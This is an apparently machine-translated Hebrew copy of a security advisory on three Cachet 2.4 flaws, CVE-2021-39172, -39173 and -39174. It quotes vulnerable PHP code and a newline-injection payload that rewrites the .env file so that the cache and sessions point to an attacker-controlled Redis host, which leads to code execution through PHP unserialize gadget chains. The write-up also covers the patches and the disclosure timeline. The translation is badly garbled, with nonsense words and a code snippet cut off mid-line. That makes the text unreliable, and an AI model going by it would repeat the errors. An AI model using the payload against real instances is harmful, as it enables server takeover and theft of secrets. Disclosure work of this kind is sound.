קישוט 2.4: ביצוע קוד באמצעות השמה בפרמטרי התצורה של לרבל

דפי סטטוס הם כעת שירות חיוני שמספקים כל חברות סופטואופר היום-ס-א-ס. כדי לקדם את האפוקליפסה שלהם, מתחילים במהירות המציאו דפי סטטוס כ-שירות ואלטרנטיבות עצמיות קוד פתוח שמותר לארגן הופיעו. קאשט, שגם נקרא לפעמים קאשטHQ, הוא מערכת דפי סטטוס שימשתה באופן נרחב ונכתבה ב-PHP, ויש לה מספר פיצולים קהילתיים, כגון fiveai/Cachet

לכירבום מופעי קאשט משתלם למתקיפים, שכן הם מאחסנים סודות לשירותים שונים כגון מטמון, מסדי נתונים, serves דואר אלקטרוני, וכד'. ככה רגל זו במבנה היא מועילה להם כדי להתגלגל לתוך הרשת הפנימית של החברה המושפעת ולבצע מתקפות נוספות. במאמר זה, אני מציג את הניתוח הטכני של שלושה באגים אבטחה שצוותי, ואני גילינו בקאשט 2.4. הם יכולים לאפשר למתקיפים לכפות את השרת. 

השפעה

הפעלת פרצופים אלה של הפגיעות נבדקה על השחרור הרשמי האחרון של קאשט באותו זמן (2.3.18), כמו גם על הענף הפיתוח (2.4). מתקיף שמחפש לנצל פגיעות אלה זקוק לחשבון משתמש תקף עם זכויות בסיסיות, תרחיש שניתן לנצל באופן ריאלי על ידי:

  • שימוש בשפכת זכות בשל הכמות הנכבדת של חשבונות שנפלטים כל שנה. 
  • A compromised or malicious user. 
  • נוכחות פגיעת כפילות אינטרנטית באותו מגבלה. 
  • הפעלת CVE-2021-39165, זירת SQL מוקדמת בקאשט שתוקן בינואר 2021.

פגיעות 1: CVE-2021-39172

הפגיעה הראשונה (CVE-2021-39172) שאני מתאר היא התייבשות של שורה חדשה שמתרחשת כאשר המשתמשים מעדכנים את התצורה של מופע, כגון ההגדרות של האימייל. זה מאפשר להתקפים להזריק כיוונים חדשים ולשנות את ההתנהגות של תכונות עיקריות, המובילה לביצוע קוד שרירותי.

הסרטון הבא מראה את הניצול של הפגיעה הזו. למטרות הדגמה, מבוצעים מספר שלבים באופן ידני, אך יכולים להיות אוטומטיזציה על ידי התקפים:

מקור: Sonar YouTube

פגיעות 2: CVE-2021-39174

השנייה (CVE-2021-39174) קשורה גם היא לתכונה זו ומאפשרת להתקף להוציא סודות שמאוחסנים בקובץ התצורה, למשל סיסמת שרת ה-SMTP, מפתח ההצפנה של היישום וכד'.

פגיעות 3: CVE-2021-39173

לבסוף, הבאג האחרון (CVE-2021-39173) הוא פשוט יותר ומאפשר לעבור את תהליך ההתקנה אפילו אם המופע כבר מותאם לחלוטין. כך, התקפים יכולים לפתות את מופע Cachet לשימוש בבסיס נתונים שרירותי תחת שליטתם, ובסופו של דבר לביצוע קוד שרירותי.

פטצ'ים לשלושת פגמים אלה זמינים במהדורה 2.5.1 של המרו� fork FiveAI.

פרטים טכניים

בסעיף זה, אני מתאר את הפרטים הטכניים של כל פגם ואת הדרך בה הוסברו במהדורה האחרונה של המרוק קהילתי.

CVE-2021-39172: ביצוע קוד רחוק

הדסקבורד של Cachet חשוף למספר תצוגות תצורה (אפילו למשתמשים שאינם מנהלים) לשינוי שם המופע, הגדרות שרת הדואר, וכו'. הגדרות מתמידות ברמת היישום משמרות במסד הנתונים, וערכים אחרים ברמת המסגרת משמרים ישירות בקובץ ההגדרה של היישום. מסגרת Laravel משתמשת בקבצי dotenv להגדרה, פורמט דומה לאופן שבו תכין משתני סביבה בתסריט של שאל. התמיכה בהם מיושמת בספריית שנייהכאן.

כשמשנים את הגדרות ספק הדואר, הבקר ממשיך אובייקט של המחלקה UpdateConfigCommand. פקודות Laravel, בהקשר של אוטובוס הפקודות, הן דרך להסיר היגיון ספציפי ליישום מהבקרים; הן מבוצעות בצורה סינכרונית על ידי קריאה לexecute() על האובייקט. זה מה שקורה ב[1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

המטכיל המשוייך UpdateConfigCommandHandler אחראי על ביצוע שינויים בקובץ ה-dotenv הקיים על ידי החלפת הכניסות הקיימות באלה חדשות.

UpdateConfigCommandHandler יכול להיפעל על ידי קוד בשני מיקומים שונים:

  1. SetupController@postStep3: השלב האחרון בתהליך ההתקנה. ברגע שהמופע מותקן, מסלול הקוד זה לא יכול להיגשם שוב;
  2. SettingsController@postMail: בעת עדכון הכניסות dotenv הקשורות לשרתי דואר אלקטרוני.

הוא יערוך תחילה בדיקה מלאה על הקובץ התצורתי כדי למלא את סביבת התהליך ([1]), לזהות אם ההנחיה לעדכון כבר מוגדרת ([2]), ולהחליף את הכניסה בערכה החדש ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

אין בידוק על הנתונים הנכנסים: כל עוד הכניסה התצורתית כבר קיימת, היא תוחלף בערך שמגיע מהפרמטר. אם התוקף מספק ערך המכיל שורות חדשות, זה יוצר כניסות חדשות בקובץ dotenv ועשוי לשנות פונקציונליות ברמת המסד נתונים.

הערה: רק הגדרת המשתנה הראשונה בקובץ dotenv תשמש; כל האחרות יתעלמו. 

בפרויקטים של לרבון, זהו מספיק כדי לקבל ביצוע קוד שרירותי. הקובץ התצורתי הראשוני dotenv כנראה יראה כך ברוב המופעים:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

מתקיפים יכולים להחליף את המפתח CACHE_DRIVER ולרשום שרת Redis שנמצא בשליטתם כמרכז מזכרות חדש:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

לאחר שליחת בקשה המגדירה את CACHE_DRIVER לערך זה, קובץ dotenv יראה כך:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

מכיוון שהמזכרות של Laravel מגולשות באמצעות פורמט מקורי של PHP, הן מופרדות באמצעות הפונקציה unserialize(). זו תוצאה ידועה שניתן לנצל לביצוע קוד שרירותי באמצעות רצף של עצמים מיוחדים, רעיון המכונה "שרשראות קופצות". הכלי PHPGGC יכול לייצר שרשראות כאלה עבור פרויקטים של Laravel. 

ישנן דרכים נוספות לנצל ביצוע פקודה מהזרימה של שורה חדשה בקובץ dotenv, אך לא רוצשנו להמשיך במחקר נוסף בכיוון זה. הצוות שלי ואני סקרנים לדעת אם אתה מודע לשיטות אחרות!

CVE-2021-39174: דליפת נתוני קביעה

כפי שתיארתי בקטע הקודם, אחד יכול לקבל שליטה ישירה על קריאה וכתיבה של ערכים בקובץ dotenv. כתיבה לקובץ זה בסופו של דבר מובילה לביצוע קוד שרירותי, אך האם ניתן לנצל גם את העובדה שערכי הקובץ מוצגים בממשק?

תיעוד ה-vlucas/phpdotenv מתאר שהוא תומך ב-הקצאת משתנים מקופלים: כאשר אתה מגדיר משתנה, אפשר לקרוא לאחד שהוגדר קודם בתחביר ${NAME}.

תכונה זו היא נוחה: על ידי הפניה למשתנה אחר ברשומה של dotenv קובץ התצורה והצגת רשומה זו בממשק, זה מגלה את ערך המשתנה של האחר.

כבר מתועד במידה רבה שהזריקה APP_KEY גורמת לביצוע קוד אם נהג הסשן מוגדר על קודקוד, וגם פרימיטיב זה יכול לשמש כדי להזין DB_PASSWORD ו-MAIL_PASSWORD לביצוע פנקס נוסף.

CVE-2021-39173: התקנה מחדש

הדף לא ניתן לגישה אם המופע כבר מותקן, כפי שמיושם בבקר. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // לא התקנה אז!      
         }        
         
         return $next($request);   
  } 
}

הבדיקה מבוססת רק על הערך של ההגדרה: אם לא מוגדר או ריק, הבקר יחשוב שהמופע מותקן.

במקרה שאתה תוהה מה עוד יכול להעריך כשקר, הנה עלילת מבוא מהירה על מערכת הטיפוסים של PHP במהלך ההשוואות עד PHP 8. השוואה יכולה להתבצע באמצעות בדיקת שוויון (==) או בדיקת זהות (===). בדיקות שוויון מעידות על כך שאין חשובות סוג המשתנים, ומילים יכולות להיות מועברות למספרים מראש. ההתנהגות הזו קרויה "משמרת סוגים" ונלחמה בפגיעות מספר מציאותיות שונות (CVE-2017-1001000, CVE-2019-10231). במקרה של ההשוואה לעיל, כל ערך השווה למחרוזת ריקה או "0" יעריך false ויתן גישה לדפי ההתקנה.

הערך של app_name אינו מיושר במהלך עדכון ההגדרות בSettingsController@postSettings, ב[1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

לכן, משתמש מאומת יכול לעדכן אותו לערך המעריך שקר ולאחר מכן לגשת/להתקין שוב כדי להתקין מופע חדש עם חשבון מנהל חדש (העלאת רמת הזכות) או למצוף את המצאה הראשונה שלנו ולקבל ביצוע קוד (זכור, UpdateConfigCommandHandler יכול להשתמש בנתיב זה).

תיקון

פגיעות ההשמה של שורה חדשה (CVE-2021-39172) נטפלה על ידי שיפור ההגדרה של הערכים הנכנסים בUpdateConfigCommandHandler, דוחה כל שינוי המכיל תווי שורה חדשה.

הבאג דיפולציה התצורה (CVE-2021-39174) היה מורכב יותר בפטצתו, שכן לא ניתן היה לייבא את הגרסה האחרונה של ספריית dotenv בגלל התלויות הקיימות. במקום זאת, העברנו את הקוד הרלוונטי כדי לאפשר למעקב הפקודה לזהות אם ערך מכיל משתנה מקונן. 

לבסוף, אין אפשרות לאכפתיות התקנה מחדש של מופעים קיימים (CVE-2021-39173) הו�'פ עקב בדיקות משופרות בממדל המשפיע.

לוח זמנים

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

סיכום

במאמר זה, ניתחתי שלושה פגמים ב-Cachet והדגמתי את היכולת להשתלט על מופעים עם הרשאות משתמש בסיסיות באמצעות קבצי הגדרת Laravel. תיארתי גם את התיקונים שיושםו על ידי השומרים על הפרויקט ואיך הם מונעים את ההתקפות שהצגתי. 

לבסוף, אני והצוות שלי רוצים להודות לשומרים על הפיצול של FiveAI של Cachet על הכרה ביוזמתנו ותיקון הפגמים האלה בזמן ובאופן מקצועי.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection